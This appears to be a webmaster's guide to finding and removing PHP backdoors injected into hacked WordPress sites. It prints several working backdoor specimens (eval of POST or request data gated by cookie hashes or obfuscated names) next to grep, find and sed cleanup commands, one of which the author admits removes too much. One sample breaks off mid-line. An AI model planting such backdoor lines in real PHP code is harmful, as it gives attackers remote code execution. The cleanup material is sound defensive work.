PHP Hack Fix
Typically, these PHP hacks are uploaded remotely through an already opened exploit such as an old install of WordPress. Remote exploits allow for arbitrary code execution which can do various things including adding backdoors to all .php
files it encounters or by uploading a payload to the server to spam.
This page contains some specimens that I've found and the possible method to find and fix them.
One Liner Hacks
The simplest backdoor is a one liner that is injected to either the first or last line of a .php
file. The code may not end with a newline, so it might include the <?php
start tag at the end. Some may try to hide itself by padding the start of the line with lots of spaces.
Because the script randomizes its strings and variables used, grepping for a specific string is not as reliable.
Hack 1
This one literally has 255 spaces before the start <?php
tag instead of the comment.
<?php /* 255 spaces */ $qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q945107'])){eval(${$s20}['q945107']);}?><?php
Finding
The code is prefixed by 255 spaces, probably to hide the exploit if line wrapping is disabled. This makes it quite easy to search for this exploit through a simple grep:
grep -iRl --include \*.php 'php ' *
Fixing
To fix the file, uses the following sed command which will delete everything until the first ?>
string.
sed '1s/^.*?>//'
Warning: The above will nuke everything until the last ?>
- If you know how to make it so it deletes everything up till the first one, update me!
You can then string up the commands to mass-fix exploited files:
grep -iRl --include \*.php 'php ' * | while read i ; do echo $i ; head -n 1 $i | grep -oH strtoupper && head -n 1 $i && sed '1s/^.*?>//' -i $i ; done
Hack 2
Here's another which was used by a wordpress spammer.
<?php if(md5($_COOKIE['4f898c79e5e6fabc'])=="44173dc1c859c258c840a03b9c9cb3e6"){ eval(base64_decode($_POST['file'])); exit; } ?><?php
Hack 3
Here's another used by a wordpress spammer. This was found near the top of the file, after the file source header.
$z=get_option("_site_transient_browser_06be457c3868ce83e6990f77fa29ea48"); $z=base64_decode(str_rot13($z['name'])); if(strpos($z,"E1B0095E")!==false){ $_z=create_function("",$z); @$_z(); }
Wordpress has a registry-type system. The payload is stored inside the _site_transient_browser_...
key above. The name appears to have a MD5 hash of some sort appended to it.
Finding
Searching for _site_transient_browser_
should be sufficient to find all instances of this hack.
Fixing
Remove the exploit line. The wordpress registry value referenced in the code (eg: _site_transient_browser_06be457c3868ce83e6990f77fa29ea48
) should also be removed to prevent other hacks referencing this key from working.
Hack 4
Another, which was injected after Hack 3. This was found near the top of the file, after the file source header.
if(md5($_COOKIE['d7c2109b4acb080a'])=="a2b408d3d572cb36947be8bcdd3af53d"){ eval(base64_decode($_POST['file'])); exit; }
Hack 5
Another one liner which used cookies for commands was found inside wp-load.php
which interestingly was modified back in 2007 (which either means the hackers changed the file timestamps, or it's a really old exploit which just recently got used).
$a8i=array("kp"=>"?%IXFq}*"^"HS.`+BH@","ym"=>"S;TPBQ
More Complex Hacks
More complex hacks that depend on a dedicated PHP payload might be harder to find because they have no similar pattern due to the obfuscation techniques used.
Here are some methods which worked for me in the past.
Searching By Size
Since hackers upload the *same* exploit in multiple locations, it's possible to find other exploits by size.
A backdoor which I found was 510 bytes in size. Running the following command turned up more of the same exploits.
find -type f -size 510c -iname \*.php -exec ls {} \;
A spammer I found had a size of 64680 and later 64690.
find -type f -size 64680c -iname \*.php -exec ls {} \; find -type f -size 64690c -iname \*.php -exec ls {} \;
Quarantine
I quarantine exploits using this method.
find -type f -size XXXXc -iname \*.php -exec ls {} \; | while read i ; do Name=`echo $i | sed 's/\//-/g' | sed 's/\.-//g'` ; mv -v $i ~/abuse/username/$Name ; done